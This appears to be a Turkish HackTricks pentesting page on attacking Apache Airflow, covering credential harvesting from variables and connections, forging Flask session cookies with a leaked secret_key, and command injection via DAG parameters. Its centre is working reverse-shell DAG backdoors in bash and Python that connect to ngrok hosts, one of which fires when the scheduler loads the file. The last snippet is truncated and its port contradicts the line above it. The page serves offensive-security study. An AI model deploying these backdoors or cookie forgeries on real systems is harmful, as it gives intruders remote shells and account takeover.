Apache Airflow Security

AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Temel Bilgiler

Apache Airflow, veri boru hatlarını veya iş akışlarını düzenlemek ve zamanlamak için bir platform olarak hizmet verir. Veri boru hatları bağlamında "orkestrasyon" terimi, çeşitli kaynaklardan gelen karmaşık veri iş akışlarının düzenlenmesi, koordinasyonu ve yönetimi sürecini ifade eder. Bu orkestrasyon edilen veri boru hatlarının temel amacı, işlenmiş ve tüketilebilir veri kümelerini sunmaktır. Bu veri kümeleri, iş zekası araçları, veri bilimi ve makine öğrenme modelleri de dahil olmak üzere birçok uygulama tarafından yaygın olarak kullanılmaktadır ve büyük veri uygulamalarının işleyişine temel oluşturur.

Temel olarak, Apache Airflow, bir şey olduğunda (olay, cron) kodun yürütülmesini zamanlamak için size izin verecektir.

Yerel Laboratuvar

Docker-Compose

Tam bir Apache Airflow docker ortamını başlatmak için https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml adresindeki docker-compose yapılandırma dosyasını kullanabilirsiniz. (MacOS'ta iseniz, docker VM'ye en az 6GB RAM verdiğinizden emin olun).

Minikube

Apache Airflow'ı çalıştırmanın kolay bir yolu, minikube ile çalıştırmaktır:

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Airflow Yapılandırması

Airflow, yapılandırmasında hassas bilgileri saklayabilir veya zayıf yapılandırmalar bulunabilir:

pageAirflow Configuration

Airflow RBAC

Airflow'u saldırmadan önce izinlerin nasıl çalıştığını anlamanız gerekmektedir:

pageAirflow RBAC

Saldırılar

Web Konsolu Sorgulaması

Eğer web konsoluna erişiminiz varsa, aşağıdaki bilgilere bazı veya tümüne erişebilirsiniz:

  • Değişkenler (Özel hassas bilgiler burada saklanabilir)

  • Bağlantılar (Özel hassas bilgiler burada saklanabilir)

  • http://<airflow>/connection/list/ adresinden erişebilirsiniz

  • Yapılandırma (Gizli anahtar (secret_key) ve şifreler gibi hassas bilgiler burada saklanabilir)

  • Kullanıcılar ve rollerin listesi

  • Her bir DAG'ın kodu (ilginç bilgiler içerebilir)

Değişken Değerlerini Almak

Değişkenler, Airflow'da saklanabilir, böylece DAG'lar değerlerine erişebilir. Diğer platformların sırlarına benzer. Yeterli izinlere sahipseniz, bunlara GUI'de http://<airflow>/variable/list/ adresinden erişebilirsiniz. Airflow, varsayılan olarak değişkenin değerini GUI'de gösterecektir, ancak bu kaynağa göre, GUI'de yıldızlar olarak görünecek değerin listesini ayarlamak mümkündür.

Ancak, bu değerler hala CLI (DB erişimi gerektirir), rastgele DAG yürütme, API ile değişkenler uç noktasına erişme (API'nin etkinleştirilmesi gerekmektedir) ve GUI kendisi aracılığıyla alınabilir. GUI'den bu değerlere erişmek için sadece erişmek istediğiniz değişkenleri seçin ve Eylemler -> Dışa Aktar üzerine tıklayın. Başka bir yol, gizli değeri elde etmek için arama filtrelemesi kullanarak brute force yapmaktır:

Yetki Yükseltme

Eğer expose_config yapılandırması True olarak ayarlanmışsa, Kullanıcı rolünden ve yukarısından olan herkes web üzerinden yapılandırmayı okuyabilir. Bu yapılandırmada secret_key görünür, bu da bu geçerli anahtara sahip herhangi bir kullanıcının kendi imzalı çerezini oluşturarak başka bir kullanıcı hesabını taklit edebileceği anlamına gelir.

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

DAG Arka Kapısı (Airflow worker'da RCE)

Eğer DAG'ların kaydedildiği yere yazma erişiminiz varsa, sadece bir tane oluşturabilirsiniz ve size bir ters kabuk gönderecektir. Bu ters kabuk, bir airflow worker konteyneri içinde çalıştırılacaktır:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

DAG Arka Kapısı (Airflow zamanlayıcısında RCE)

Eğer bir şeyi kodun kökünde çalışacak şekilde ayarlarsanız, bu yazı yazıldığı sırada, bunun DAG klasörüne yerleştirildikten birkaç saniye sonra zamanlayıcı tarafından çalıştırılacaktır.

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

DAG Oluşturma

Eğer DAG kümesi içindeki bir makineyi ele geçirebilirseniz, dags/ klasöründe yeni DAG betikleri oluşturabilir ve bu betikler DAG kümesindeki diğer makinelerde de replike edilecektir.

DAG Kod Enjeksiyonu

GUI üzerinden bir DAG çalıştırdığınızda, ona argümanlar geçirebilirsiniz. Bu nedenle, DAG düzgün bir şekilde kodlanmamışsa Komut Enjeksiyonuna açık olabilir. Bu CVE'de olduğu gibi: https://www.exploit-db.com/exploits/49927

DAG'larda komut enjeksiyonlarını aramaya başlamak için bilmeniz gereken tek şey, parametrelerin kodla erişildiği kodun dag_run.conf.get("param_name") olduğudur.

Ayrıca, aynı zafiyet değişkenlerle de oluşabilir (not edin ki yeterli yetkilere sahipseniz GUI üzerindeki değişkenlerin değerini kontrol edebilirsiniz). Değişkenlere şu şekilde erişilir:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

Eğer örneğin bir bash komutu içinde kullanılıyorlarsa, komut enjeksiyonu gerçekleştirebilirsiniz.

AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı) öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated